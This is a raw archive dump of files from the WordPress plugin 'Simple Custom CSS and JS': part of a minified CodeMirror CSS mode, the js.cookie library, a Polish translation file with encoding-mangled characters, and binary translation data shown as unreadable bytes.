ne-resize nesw-resize no-close-quote no-drop no-open-quote no-repeat none normal not-allowed nowrap ns-resize numbers numeric nw-resize nwse-resize oblique octal opacity open-quote optimizeLegibility optimizeSpeed oriya oromo outset outside outside-shape overlay overline padding padding-box painted page paused persian perspective plus-darker plus-lighter pointer polygon portrait pre pre-line pre-wrap preserve-3d progress push-button radial-gradient radio read-only read-write read-write-plaintext-only rectangle region relative repeat repeating-linear-gradient repeating-radial-gradient repeat-x repeat-y reset reverse rgb rgba ridge right rotate rotate3d rotateX rotateY rotateZ round row row-resize row-reverse rtl run-in running s-resize sans-serif saturation scale scale3d scaleX scaleY scaleZ screen scroll scrollbar scroll-position se-resize searchfield searchfield-cancel-button searchfield-decoration searchfield-results-button searchfield-results-decoration self-start self-end semi-condensed semi-expanded separate serif show sidama simp-chinese-formal simp-chinese-informal single skew skewX skewY skip-white-space slide slider-horizontal slider-vertical sliderthumb-horizontal sliderthumb-vertical slow small small-caps small-caption smaller soft-light solid somali source-atop source-in source-out source-over space space-around space-between space-evenly spell-out square square-button start static status-bar stretch stroke sub subpixel-antialiased super sw-resize symbolic symbols system-ui table table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group tamil telugu text text-bottom text-top textarea textfield thai thick thin threeddarkshadow threedface threedhighlight threedlightshadow threedshadow tibetan tigre tigrinya-er tigrinya-er-abegede tigrinya-et tigrinya-et-abegede to top trad-chinese-formal trad-chinese-informal transform translate translate3d translateX translateY translateZ transparent ultra-condensed ultra-expanded underline unset up upper-alpha upper-armenian upper-greek upper-hexadecimal upper-latin upper-norwegian upper-roman uppercase urdu url var vertical vertical-text visible visibleFill visiblePainted visibleStroke visual w-resize wait wave wider window windowframe windowtext words wrap wrap-reverse x-large x-small xor xx-large xx-small".split(" "),
A=l(L),y=y.concat(B).concat(C).concat(H).concat(I).concat(E).concat(J).concat(L);k.registerHelper("hintWords","css",y);k.defineMIME("text/css",{documentTypes:G,mediaTypes:r,mediaFeatures:t,mediaValueKeywords:D,propertyKeywords:u,nonStandardPropertyKeywords:v,fontProperties:w,counterDescriptors:F,colorKeywords:z,valueKeywords:A,tokenHooks:{"/":function(d,e){if(!d.eat("*"))return!1;e.tokenize=m;return m(d,e)}},name:"css"});k.defineMIME("text/x-scss",{mediaTypes:r,mediaFeatures:t,mediaValueKeywords:D,
propertyKeywords:u,nonStandardPropertyKeywords:v,colorKeywords:z,valueKeywords:A,fontProperties:w,allowNested:!0,lineComment:"//",tokenHooks:{"/":function(d,e){return d.eat("/")?(d.skipToEnd(),["comment","comment"]):d.eat("*")?(e.tokenize=m,m(d,e)):["operator","operator"]},":":function(d){return d.match(/\s*\{/,!1)?[null,null]:!1},$:function(d){d.match(/^[\w-]+/);return d.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"]},"#":function(d){return d.eat("{")?[null,"interpolation"]:
!1}},name:"css",helperType:"scss"});k.defineMIME("text/x-less",{mediaTypes:r,mediaFeatures:t,mediaValueKeywords:D,propertyKeywords:u,nonStandardPropertyKeywords:v,colorKeywords:z,valueKeywords:A,fontProperties:w,allowNested:!0,lineComment:"//",tokenHooks:{"/":function(d,e){return d.eat("/")?(d.skipToEnd(),["comment","comment"]):d.eat("*")?(e.tokenize=m,m(d,e)):["operator","operator"]},"@":function(d){if(d.eat("{"))return[null,"interpolation"];if(d.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/,
!1))return!1;d.eatWhile(/[\w\\\-]/);return d.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"]},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"});k.defineMIME("text/x-gss",{documentTypes:G,mediaTypes:r,mediaFeatures:t,propertyKeywords:u,nonStandardPropertyKeywords:v,fontProperties:w,counterDescriptors:F,colorKeywords:z,valueKeywords:A,supportsAtComponent:!0,tokenHooks:{"/":function(d,e){if(!d.eat("*"))return!1;e.tokenize=m;return m(d,e)}},name:"css",
helperType:"gss"})});
PK     ]t]              assets/empty.jsnu ÕIw¶´        PK     ]t]�¶Q0]  ]    assets/js.cookie.jsnu ÕIw¶´        /*!
 * JavaScript Cookie v2.1.3
 * https://github.com/js-cookie/js-cookie
 *
 * Copyright 2006, 2015 Klaus Hartl & Fagner Brack
 * Released under the MIT license
 */
;(function (factory) {
	var registeredInModuleLoader = false;
	if (typeof define === 'function' && define.amd) {
		define(factory);
		registeredInModuleLoader = true;
	}
	if (typeof exports === 'object') {
		module.exports = factory();
		registeredInModuleLoader = true;
	}
	if (!registeredInModuleLoader) {
		var OldCookies = window.Cookies;
		var api = window.Cookies = factory();
		api.noConflict = function () {
			window.Cookies = OldCookies;
			return api;
		};
	}
}(function () {
	function extend () {
		var i = 0;
		var result = {};
		for (; i < arguments.length; i++) {
			var attributes = arguments[ i ];
			for (var key in attributes) {
				result[key] = attributes[key];
			}
		}
		return result;
	}

	function init (converter) {
		function api (key, value, attributes) {
			var result;
			if (typeof document === 'undefined') {
				return;
			}

			// Write

			if (arguments.length > 1) {
				attributes = extend({
					path: '/'
				}, api.defaults, attributes);

				if (typeof attributes.expires === 'number') {
					var expires = new Date();
					expires.setMilliseconds(expires.getMilliseconds() + attributes.expires * 864e+5);
					attributes.expires = expires;
				}

				try {
					result = JSON.stringify(value);
					if (/^[\{\[]/.test(result)) {
						value = result;
					}
				} catch (e) {}

				if (!converter.write) {
					value = encodeURIComponent(String(value))
						.replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent);
				} else {
					value = converter.write(value, key);
				}

				key = encodeURIComponent(String(key));
				key = key.replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent);
				key = key.replace(/[\(\)]/g, escape);

				return (document.cookie = [
					key, '=', value,
					attributes.expires ? '; expires=' + attributes.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
					attributes.path ? '; path=' + attributes.path : '',
					attributes.domain ? '; domain=' + attributes.domain : '',
					attributes.secure ? '; secure' : ''
				].join(''));
			}

			// Read

			if (!key) {
				result = {};
			}

			// To prevent the for loop in the first place assign an empty array
			// in case there are no cookies at all. Also prevents odd result when
			// calling "get()"
			var cookies = document.cookie ? document.cookie.split('; ') : [];
			var rdecode = /(%[0-9A-Z]{2})+/g;
			var i = 0;

			for (; i < cookies.length; i++) {
				var parts = cookies[i].split('=');
				var cookie = parts.slice(1).join('=');

				if (cookie.charAt(0) === '"') {
					cookie = cookie.slice(1, -1);
				}

				try {
					var name = parts[0].replace(rdecode, decodeURIComponent);
					cookie = converter.read ?
						converter.read(cookie, name) : converter(cookie, name) ||
						cookie.replace(rdecode, decodeURIComponent);

					if (this.json) {
						try {
							cookie = JSON.parse(cookie);
						} catch (e) {}
					}

					if (key === name) {
						result = cookie;
						break;
					}

					if (!key) {
						result[name] = cookie;
					}
				} catch (e) {}
			}

			return result;
		}

		api.set = api;
		api.get = function (key) {
			return api.call(api, key);
		};
		api.getJSON = function () {
			return api.apply({
				json: true
			}, [].slice.call(arguments));
		};
		api.defaults = {};

		api.remove = function (key, attributes) {
			api(key, '', extend(attributes, {
				expires: -1
			}));
		};

		api.withConverter = init;

		return api;
	}

	return init(function () {});
}));
PK     ]t]iØPC&6  &6     languages/custom-css-js-pl_PL.ponu ÕIw¶´        # Translation of Plugins - Simple Custom CSS and JS - Stable (latest release) in Polish
# This file is distributed under the same license as the Plugins - Simple Custom CSS and JS - Stable (latest release) package.
msgid ""
msgstr ""
"Project-Id-Version: Plugins - Simple Custom CSS and JS - Stable (latest "
"release)\n"
"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/custom-css-js-"
"svn\n"
"POT-Creation-Date: 2018-02-08 19:58:14+00:00\n"
"PO-Revision-Date: 2018-02-08 21:14+0100\n"
"Last-Translator: Diana Burduja <diana@wootips.com>\n"
"Language-Team: \n"
"Language: pl\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 "
"|| n%100>=20) ? 1 : 2);\n"
"X-Generator: Poedit 1.6.10\n"

#: custom-css-js.php:53 custom-css-js.php:60
msgid "Cheatin&#8217; huh?"
msgstr "Kantujesz, co nie? :)"

#: custom-css-js.php:220
msgctxt "post type general name"
msgid "Custom Code"
msgstr "Wstawki kodu"

#: custom-css-js.php:221
msgctxt "post type singular name"
msgid "Custom Code"
msgstr "Wstawki kodu"

#: custom-css-js.php:222
msgctxt "admin menu"
msgid "Custom CSS & JS"
msgstr "Custom CSS & JS"

#: custom-css-js.php:223
msgctxt "add new on admin bar"
msgid "Custom Code"
msgstr "Wstawki kodu"

#: custom-css-js.php:224
msgctxt "add new"
msgid "Add Custom Code"
msgstr "Dodaj nowÄ… wstawkÄ™"

#: custom-css-js.php:225
msgid "Add Custom Code"
msgstr "Dodaj wstawkÄ™"

#: custom-css-js.php:226
msgid "New Custom Code"
msgstr "Nowa wstawka"

#: custom-css-js.php:227
msgid "Edit Custom Code"
msgstr "Edytuj kod"

#: custom-css-js.php:228
msgid "View Custom Code"
msgstr "Zobacz kod"

#: custom-css-js.php:229
msgid "All Custom Code"
msgstr "Wszystkie wstawki"

#: custom-css-js.php:230
msgid "Search Custom Code"
msgstr "Szukaj wstawek"

#: custom-css-js.php:231
msgid "Parent Custom Code:"
msgstr "Kod macierzysty:"

#: custom-css-js.php:232
msgid "No Custom Code found."
msgstr "Nie znaleziono wstawek"

#: custom-css-js.php:233
msgid "No Custom Code found in Trash."
msgstr "Nie znaleziono wstawek w Koszu"

#: custom-css-js.php:254
msgid "Custom CSS and JS code"
msgstr "Wstawki kodu CSS i JS"

#: custom-css-js.php:299
msgid "Web Designer"
msgstr "Web Designer"

#: custom-css-js.php:394 includes/admin-config.php:58
msgid "Settings"
msgstr "Ustawienia"

#: includes/admin-addons.php:42 includes/admin-screens.php:776
msgid "Available only in <br />Simple Custom CSS and JS Pro"
msgstr "DostÄ™pne tylko w <br />Simple Custom CSS and JS Pro"

#: includes/admin-addons.php:54
msgid "Preview"
msgstr "Podejrzyj"

#: includes/admin-addons.php:55
msgid "Apply only on these URLs"
msgstr "Zastosuj tylko dla tych adresÃ³w URL"

#: includes/admin-addons.php:56
msgid "Code Revisions"
msgstr "Wersje kodu"

#: includes/admin-addons.php:67
msgid "Full URL on which to preview the changes ..."
msgstr "PeÅ‚en adres URL na ktÃ³rym chcesz podejrzeÄ‡ zmiany ..."

#: includes/admin-addons.php:68
msgid "Preview Changes"
msgstr "Podejrzyj zmiany"

#: includes/admin-addons.php:82
msgid "All Website"
msgstr "CaÅ‚a strona"

#: includes/admin-addons.php:83
msgid "Homepage"
msgstr "Pierwsza strona"

#: includes/admin-addons.php:84
msgid "Contains"
msgstr "Zawiera"

#: includes/admin-addons.php:85
msgid "Not contains"
msgstr "Nie zawiera"

#: includes/admin-addons.php:86
msgid "Is equal to"
msgstr "Jest rÃ³wne"

#: includes/admin-addons.php:87
msgid "Not equal to"
msgstr "Nie jest rÃ³wne"

#: includes/admin-addons.php:88
msgid "Starts with"
msgstr "Zaczyna siÄ™ na"

#: includes/admin-addons.php:89
msgid "Ends by"
msgstr "KoÅ„czy siÄ™ na"

#: includes/admin-addons.php:100 includes/admin-addons.php:101
msgid "URL"
msgstr "Adres URL"

#: includes/admin-addons.php:102
msgid "Text filter"
msgstr "Filtr tekstowy"

#: includes/admin-addons.php:103
msgid "Add"
msgstr "Dodaj"

#: includes/admin-addons.php:114
msgctxt "revision date format"
msgid "F j, Y @ H:i:s"
msgstr "F j, Y @ H:i:s"

#: includes/admin-addons.php:136 includes/admin-addons.php:169
msgid "Compare"
msgstr "PorÃ³wnaj wersje"

#: includes/admin-addons.php:137
msgid "Revision"
msgstr "Wersja"

#: includes/admin-addons.php:138 includes/admin-screens.php:283
msgid "Author"
msgstr "Autor"

#: includes/admin-addons.php:139 includes/admin-addons.php:173
msgid "Delete"
msgstr "UsuÅ„ wersjÄ™"

#: includes/admin-addons.php:140 includes/admin-addons.php:163
msgid "Restore"
msgstr "PrzywrÃ³Ä‡ wersjÄ™"

#: includes/admin-config.php:115
msgid "Save"
msgstr ""

#: includes/admin-config.php:139
msgid "Custom CSS & JS Settings"
msgstr ""

#: includes/admin-config.php:142
msgid "Editor Settings"
msgstr ""

#: includes/admin-config.php:195
msgid "Keep the HTML entities, don't convert to its character"
msgstr ""

#: includes/admin-config.php:200
msgid "Encode the HTML entities"
msgstr ""

#: includes/admin-notices.php:125
msgid "Get your discount now"
msgstr "Uzyskaj rabat"

#: includes/admin-notices.php:125 includes/admin-notices.php:190
msgid "Dismiss this notice"
msgstr "OdrzuÄ‡ wiadomoÅ›Ä‡"

#: includes/admin-screens.php:93
msgid "Add Custom CSS"
msgstr "Dodaj wstawkÄ™ CSS"

#: includes/admin-screens.php:96
msgid "Add Custom JS"
msgstr "Dodaj wstawkÄ™ JS"

#: includes/admin-screens.php:99
msgid "Add Custom HTML"
msgstr "Dodaj wstawkÄ™ HTML"

#: includes/admin-screens.php:173 includes/admin-screens.php:280
#: includes/admin-screens.php:1286
msgid "Active"
msgstr "Czy kod jest aktywny?"

#: includes/admin-screens.php:174 includes/admin-screens.php:1289
msgid "Inactive"
msgstr ""

#: includes/admin-screens.php:175 includes/admin-screens.php:1262
#: includes/admin-screens.php:1290
msgid "Activate"
msgstr ""

#: includes/admin-screens.php:176 includes/admin-screens.php:1259
#: includes/admin-screens.php:1287
msgid "Deactivate"
msgstr ""

#: includes/admin-screens.php:177 includes/admin-screens.php:325
#: includes/admin-screens.php:1258
msgid "The code is active. Click to deactivate it"
msgstr "Kod jest aktywny. Kliknij tutaj, aby go dezaktywowaÄ‡"

#: includes/admin-screens.php:178 includes/admin-screens.php:328
#: includes/admin-screens.php:1261
msgid "The code is inactive. Click to activate it"
msgstr "Kod jest nieaktywny. Kliknij tutaj, aby go aktywowaÄ‡"

#: includes/admin-screens.php:204
msgid "Options"
msgstr "Opcje"

#: includes/admin-screens.php:264
msgid "Add CSS code"
msgstr "Dodaj kod CSS"

#: includes/admin-screens.php:265
msgid "Add JS code"
msgstr "Dodaj kod JS"

#: includes/admin-screens.php:266
msgid "Add HTML code"
msgstr "Dodaj kod HTML"

#: includes/admin-screens.php:281
msgid "Type"
msgstr "Typ kodu"

#: includes/admin-screens.php:282
msgid "Title"
msgstr "TytuÅ‚"

#: includes/admin-screens.php:284
msgid "Date"
msgstr "Data utworzenia"

#: includes/admin-screens.php:285
msgid "Modified"
msgstr "Data modyfikacji"

#: includes/admin-screens.php:314
msgid "%s ago"
msgstr "%s temu"

#: includes/admin-screens.php:316
msgid "Y/m/d"
msgstr "Y/m/d"

#: includes/admin-screens.php:386
msgid "CSS Codes"
msgstr ""

#: includes/admin-screens.php:387
msgid "JS Codes"
msgstr ""

#: includes/admin-screens.php:388
msgid "HTML Codes"
msgstr ""

#: includes/admin-screens.php:391
msgid "Filter Code Type"
msgstr ""

#: includes/admin-screens.php:393
msgid "All Custom Codes"
msgstr ""

#: includes/admin-screens.php:448
msgid "Custom Code"
msgstr "Wstawki kodu"

#: includes/admin-screens.php:449 includes/admin-screens.php:468
#: includes/admin-screens.php:489
msgid "Add CSS Code"
msgstr "Dodaj kod CSS"

#: includes/admin-screens.php:450 includes/admin-screens.php:469
#: includes/admin-screens.php:490
msgid "Add JS Code"
msgstr "Dodaj kod JS"

#: includes/admin-screens.php:451 includes/admin-screens.php:470
#: includes/admin-screens.php:491
msgid "Add HTML Code"
msgstr "Dodaj kod HTML"

#: includes/admin-screens.php:471
msgid "Edit CSS Code"
msgstr ""

#: includes/admin-screens.php:472
msgid "Edit JS Code"
msgstr ""

#: includes/admin-screens.php:473
msgid "Edit HTML Code"
msgstr ""

#: includes/admin-screens.php:499
msgid "Code updated"
msgstr "Kod wstawki zaktualizowany"

#: includes/admin-screens.php:612
msgid ""
"/* Add your JavaScript code here.\n"
"\n"
"If you are using the jQuery library, then don't forget to wrap your code "
"inside jQuery.ready() as follows:\n"
"\n"
"jQuery(document).ready(function( $ ){\n"
"    // Your code in here\n"
"});\n"
"\n"
"--\n"
"\n"
"If you want to link a JavaScript file that resides on another server "
"(similar to\n"
"<script src=\"https://example.com/your-js-file.js\"></script>), then please "
"use\n"
"the \"Add HTML Code\" page, as this is a HTML code that links a JavaScript "
"file.\n"
"\n"
"End of comment */ "
msgstr ""

#: includes/admin-screens.php:634
msgid ""
"<!-- Add HTML code to the header or the footer.\n"
"\n"
"For example, you can use the following code for loading the jQuery library "
"from Google CDN:\n"
"<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min."
"js\"></script>\n"
"\n"
"or the following one for loading the Bootstrap library from MaxCDN:\n"
"<link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/"
"bootstrap/4.3.1/css/bootstrap.min.css\" integrity=\"sha384-"
"ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T\" "
"crossorigin=\"anonymous\">\n"
"\n"
"-- End of the comment --> "
msgstr ""

#: includes/admin-screens.php:660
msgid ""
"/* Add your CSS code here.\n"
"\n"
"For example:\n"
".example {\n"
"    color: red;\n"
"}\n"
"\n"
"For brushing up on your CSS knowledge, check out http://www.w3schools.com/"
"css/css_syntax.asp\n"
"\n"
"End of comment */ "
msgstr ""

#: includes/admin-screens.php:692
msgid "Last edited by %1$s on %2$s at %3$s"
msgstr ""

#: includes/admin-screens.php:694
msgid "Last edited on %1$s at %2$s"
msgstr ""

#: includes/admin-screens.php:791
msgid "Linking type"
msgstr "Linkowanie"

#: includes/admin-screens.php:796
msgid "External File"
msgstr "ZewnÄ™trzny plik"

#: includes/admin-screens.php:800
msgid "Internal"
msgstr "WewnÄ™trzne"

#: includes/admin-screens.php:806 includes/admin-screens.php:894
msgid "Where on page"
msgstr "Gdzie w kodzie strony"

#: includes/admin-screens.php:811 includes/admin-screens.php:899
msgid "Header"
msgstr "NagÅ‚Ã³wek"

#: includes/admin-screens.php:815 includes/admin-screens.php:903
msgid "Footer"
msgstr "Stopka"

#: includes/admin-screens.php:821 includes/admin-screens.php:909
msgid "Where in site"
msgstr "Gdzie na stronie"

#: includes/admin-screens.php:826 includes/admin-screens.php:914
msgid "In Frontend"
msgstr "Witryna"

#: includes/admin-screens.php:830 includes/admin-screens.php:918
msgid "In Admin"
msgstr "Panel admina"

#: includes/admin-screens.php:834
msgid "On Login Page"
msgstr ""

#: includes/admin-screens.php:840
msgid "CSS Preprocessor"
msgstr "Preprocesor CSS"

#: includes/admin-screens.php:845
msgid "None"
msgstr "Brak"

#: includes/admin-screens.php:848
msgid "Less"
msgstr "Less"

#: includes/admin-screens.php:851
msgid "SASS (only SCSS syntax)"
msgstr "SASS (tylko skÅ‚adnia SCSS)"

#: includes/admin-screens.php:857
msgid "Minify the code"
msgstr "Zredukuj kod"

#: includes/admin-screens.php:864 includes/admin-screens.php:945
msgid "Priority"
msgstr "Priorytet"

#: includes/admin-screens.php:869 includes/admin-screens.php:950
msgctxt "1 is the highest priority"
msgid "1 (highest)"
msgstr "1 (najwyÅ¼szy)"

#: includes/admin-screens.php:878 includes/admin-screens.php:959
msgctxt "10 is the lowest priority"
msgid "10 (lowest)"
msgstr "10 (najniÅ¼szy)"

#: includes/admin-screens.php:924
msgid "On which device"
msgstr "Na jakim urzÄ…dzeniu"

#: includes/admin-screens.php:930
msgid "Desktop"
msgstr "Komputer stacjonarny"

#: includes/admin-screens.php:934
msgid "Mobile"
msgstr "UrzÄ…dzenia mobilne"

#: includes/admin-screens.php:938
msgid "Both"
msgstr "Oba urzÄ…dzenia"

#: includes/admin-screens.php:1096
msgid "The %s directory could not be created"
msgstr "Folder %s nie mÃ³gÅ‚ zostaÄ‡ utworzony"

#: includes/admin-screens.php:1097
msgid "Please run the following commands in order to make the directory"
msgstr "Uruchom proszÄ™ poniÅ¼sze komendy aby utworzyÄ‡ folder"

#: includes/admin-screens.php:1105
msgid ""
"The %s directory is not writable, therefore the CSS and JS files cannot be "
"saved."
msgstr ""
"Katalog %s nie umoÅ¼liwia zapisu, dlatego pliki CSS oraz JS nie mogÄ… zostaÄ‡ "
"zapisane."

#: includes/admin-screens.php:1106
msgid "Please run the following command to make the directory writable"
msgstr "ProszÄ™ wykonaj poniÅ¼szÄ… komendÄ™, aby uczyniÄ‡ katalog zapisywalnym"

#: includes/admin-warnings.php:55
msgid ""
"Please remove the <b>custom-css-js</b> post type from the <b>qTranslate "
"settings</b> in order to avoid some malfunctions in the Simple Custom CSS & "
"JS plugin. Check out <a href=\"%s\" target=\"_blank\">this screenshot</a> "
"for more details on how to do that."
msgstr ""
"ProszÄ™ usuÅ„ typ postu <b>custom-css-js</b> z <b>ustawieÅ„ qTranslate</b>, aby "
"uniknÄ…Ä‡ problemÃ³w z zapisywaniem wstawek we wtyczce Simple Custom CSS & JS. "
"Zobacz <a href=\"%s\" target=\"_blank\">ten zrzut ekranu</a> by dowiedzieÄ‡ "
"siÄ™, jak to zrobiÄ‡."

#. Plugin Name of the plugin/theme
msgid "Simple Custom CSS and JS"
msgstr "Simple Custom CSS and JS"

#. Plugin URI of the plugin/theme
msgid "https://wordpress.org/plugins/custom-css-js/"
msgstr "https://pl.wordpress.org/plugins/custom-css-js/"

#. Description of the plugin/theme
msgid "Easily add Custom CSS or JS to your website with an awesome editor."
msgstr ""
"Dodawaj wstawki z wÅ‚asnym kodem CSS lub JS do swojej strony w Å‚atwy sposÃ³b z "
"uÅ¼yciem wygodnego edytora."

#. Author of the plugin/theme
msgid "Diana Burduja"
msgstr "Diana Burduja"

#. Author URI of the plugin/theme
msgid "https://www.silkypress.com/"
msgstr "https://www.silkypress.com/"
PK     ]t]Á—W�¤  ¤     languages/custom-css-js-pl_PL.monu ÕIw¶´        Þ•    `        ƒ         (     )  %   0  %   V     |     ƒ     ‡     ”     ¡     °     À     Ð     Þ     ì     ú     	     	     "	     .	     G	  4   N	     ƒ	     ˆ	     ™	     ­	     ¼	     É	     Ñ	     Ú	     ñ	     ý	     
     	
     
     
  C   3
     w
     ˆ
     �
  
   ž
     ©
  ,   °
     Ý
     ó
     ú
                    $     )     6     F     M     V     f     …     ›           ­     º     Ê     Ò  ý   æ  ?   ä  @   $     e     m     }     †     Ž     —     ¯     Â     Ë     ä     ð  %   ü  Q   "  *   t  *   Ÿ     Ê     Ð     Õ     Ù     ê     ÷                     1     R  ,   m     š  "   ¶  #   Ù  #   ý    !     ?     G     V     f     |     ‚     �     ž     ±     À     Ô     æ     õ                    0  $   =     b  4   h     �     ­     ½     Ó     ß     ú               )     6     F     T     i     w  k   ‹  
   ÷               #     3  8   :     s  
   �     Œ     ™     ¡     ­     ¹  
   ¾     É     Ö     ê     û          '     >     C     O     _     t     z  ü   ‹  F   ˆ  6   Ï  	          	   !     +     >     E     a  
   p     {     ”     ¤  &   ³  W   Ú  5   2  5   h     ž     ¥  	   ®  
   ¸     Ã     Ð     á     ÷     ý            /   /     _     {     ˆ     •           .   0   G          F   '           )   N       -              +   %             $          E             \   *      #   J       ?       !   
   :   9   /   ;   L   R   Z         C           4              I   W       5   B       Y   _       ^      D   ,   [   &   X       H       6   @   A   1             K   O       =              <      S   >             U      M           P   Q   8                 `      "       (              7   T   3           2   	                    V   ]    %s ago 1 is the highest priority1 (highest) 10 is the lowest priority10 (lowest) Active Add Add CSS Code Add CSS code Add Custom CSS Add Custom Code Add Custom HTML Add Custom JS Add HTML Code Add HTML code Add JS Code Add JS code All Custom Code All Website Apply only on these URLs Author Available only in <br />Simple Custom CSS and JS Pro Both CSS Preprocessor Cheatin&#8217; huh? Code Revisions Code updated Compare Contains Custom CSS and JS code Custom Code Date Delete Desktop Diana Burduja Dismiss this notice Easily add Custom CSS or JS to your website with an awesome editor. Edit Custom Code Ends by External File First page Footer Full URL on which to preview the changes ... Get your discount now Header In Admin In Frontend Internal Is equal to Less Linking type Minify the code Mobile Modified New Custom Code No Custom Code found in Trash. No Custom Code found. None Not contains Not equal to On which device Options Parent Custom Code: Please remove the <b>custom-css-js</b> post type from the <b>qTranslate settings</b> in order to avoid some malfunctions in the Simple Custom CSS & JS plugin. Check out <a href="%s" target="_blank">this screenshot</a> for more details on how to do that. Please run the following command to make the directory writable Please run the following commands in order to make the directory Preview Preview Changes Priority Restore Revision SASS (only SCSS syntax) Search Custom Code Settings Simple Custom CSS and JS Starts with Text filter The %s directory could not be created The %s directory is not writable, therefore the CSS and JS files cannot be saved. The code is active. Click to deactivate it The code is inactive. Click to activate it Title Type URL View Custom Code Web Designer Where in site Where on page Y/m/d add newAdd Custom Code add new on admin barCustom Code admin menuCustom CSS & JS https://wordpress.org/plugins/custom-css-js/ https://www.silkypress.com/ post type general nameCustom Code post type singular nameCustom Code revision date formatF j, Y @ H:i:s Project-Id-Version: Plugins - Simple Custom CSS and JS - Stable (latest release)
Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/custom-css-js-svn
POT-Creation-Date: 2018-02-08 19:58:14+00:00
PO-Revision-Date: 2018-02-08 21:14+0100
Last-Translator: Diana Burduja <diana@wootips.com>
Language-Team: 
Language: pl
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);
X-Generator: Poedit 1.6.10
 %s temu 1 (najwyÅ¼szy) 10 (najniÅ¼szy) Czy kod jest aktywny? Dodaj Dodaj kod CSS Dodaj kod CSS Dodaj wstawkÄ™ CSS Dodaj wstawkÄ™ Dodaj wstawkÄ™ HTML Dodaj wstawkÄ™ JS Dodaj kod HTML Dodaj kod HTML Dodaj kod JS Dodaj kod JS Wszystkie wstawki CaÅ‚a strona Zastosuj tylko dla tych adresÃ³w URL Autor DostÄ™pne tylko w <br />Simple Custom CSS and JS Pro Oba urzÄ…dzenia Preprocesor CSS Kantujesz, co nie? :) Wersje kodu Kod wstawki zaktualizowany PorÃ³wnaj wersje Zawiera Wstawki kodu CSS i JS Wstawki kodu Data utworzenia UsuÅ„ wersjÄ™ Komputer stacjonarny Diana Burduja OdrzuÄ‡ wiadomoÅ›Ä‡ Dodawaj wstawki z wÅ‚asnym kodem CSS lub JS do swojej strony w Å‚atwy sposÃ³b z uÅ¼yciem wygodnego edytora. Edytuj kod KoÅ„czy siÄ™ na ZewnÄ™trzny plik Pierwsza strona Stopka PeÅ‚en adres URL na ktÃ³rym chcesz podejrzeÄ‡ zmiany ... Uzyskaj rabat NagÅ‚Ã³wek Panel admina Witryna WewnÄ™trzne Jest rÃ³wne Less Linkowanie Zredukuj kod UrzÄ…dzenia mobilne Data modyfikacji Nowa wstawka Nie znaleziono wstawek w Koszu Nie znaleziono wstawek Brak Nie zawiera Nie jest rÃ³wne Na jakim urzÄ…dzeniu Opcje Kod macierzysty: ProszÄ™ usuÅ„ typ postu <b>custom-css-js</b> z <b>ustawieÅ„ qTranslate</b>, aby uniknÄ…Ä‡ problemÃ³w z zapisywaniem wstawek we wtyczce Simple Custom CSS & JS. Zobacz <a href="%s" target="_blank">ten zrzut ekranu</a> by dowiedzieÄ‡ siÄ™, jak to zrobiÄ‡. ProszÄ™ wykonaj poniÅ¼szÄ… komendÄ™, aby uczyniÄ‡ katalog zapisywalnym Uruchom proszÄ™ poniÅ¼sze komendy aby utworzyÄ‡ folder Podejrzyj Podejrzyj zmiany Priorytet PrzywrÃ³Ä‡ wersjÄ™ Wersja SASS (tylko skÅ‚adnia SCSS) Szukaj wstawek Ustawienia Simple Custom CSS and JS Zaczyna siÄ™ na Filtr tekstowy Folder %s nie mÃ³gÅ‚ zostaÄ‡ utworzony Katalog %s nie umoÅ¼liwia zapisu, dlatego pliki CSS oraz JS nie mogÄ… zostaÄ‡ zapisane. Kod jest aktywny. Kliknij tutaj, aby go dezaktywowaÄ‡ Kod jest nieaktywny. Kliknij tutaj, aby go aktywowaÄ‡ TytuÅ‚ Typ kodu Adres URL Zobacz kod Web Designer Gdzie na stronie Gdzie w kodzie strony Y/m/d Dodaj nowÄ… wstawkÄ™ Wstawki kodu Custom CSS & JS https://pl.wordpress.org/plugins/custom-css-js/ https://www.silkypress.com/ Wstawki kodu Wstawki kodu F j, Y @ H:i:s PK     ]t]ó|Iš         languages/custom-css-js-tr_TR.monu ÕIw¶´        Þ•    _                      	  %     %   6     \     c     g     t     �     �           °     ¾     Ì     Ú     æ     ò     	     	     '	  4   .	     c	     h	     y	     �	     œ	     ©	     ±	     º	     Ñ	     Ý	     â	     é	     ñ	     ÿ	  C   
     W
     h
     p
  
   ~
     ‰
  ,   �
     ½
     Ó
     Ú
     ã
     ï
     ø
          	          &     -     6     F     e     {     €     �     š     ª     ²  ý   Æ  ?   Ä  @        E     M     ]     f     n     w     �     ¢     «     ·  %   Ã  Q   é  *   ;  *   f     ‘     —     œ           ±     ¾     Ì     Ú     à      ø       ,   4     a  "   }  #      #   Ä  Æ  è     ¯     ¸     Ç     Ø     Þ     ã     ñ     ÿ               -     ;     J     Y     f     s     …     —     ±  B   ·  	   ú               ,     >     O  	   _     i  	   ~     ˆ     Ž  
   ’     �     «  L   ¿                /  
   <     G  G   \     ¤     ·     Í  	   á     ë     ò     ø     ý               $     3  %   B     h     ~  
   ‚     �     š     «     ·  *  Æ  O   ñ  I   A     ‹     ™     ³     ¼     È     Ñ     í     û               $  O   B  8   ’  :   Ë                         4     D     R     f     l  	   {     …  ,   ”     Á  	   Ý  	   ç     ñ                    '   4   %             H       	   ,   _   I   1   M       3   .   (   &                 U   
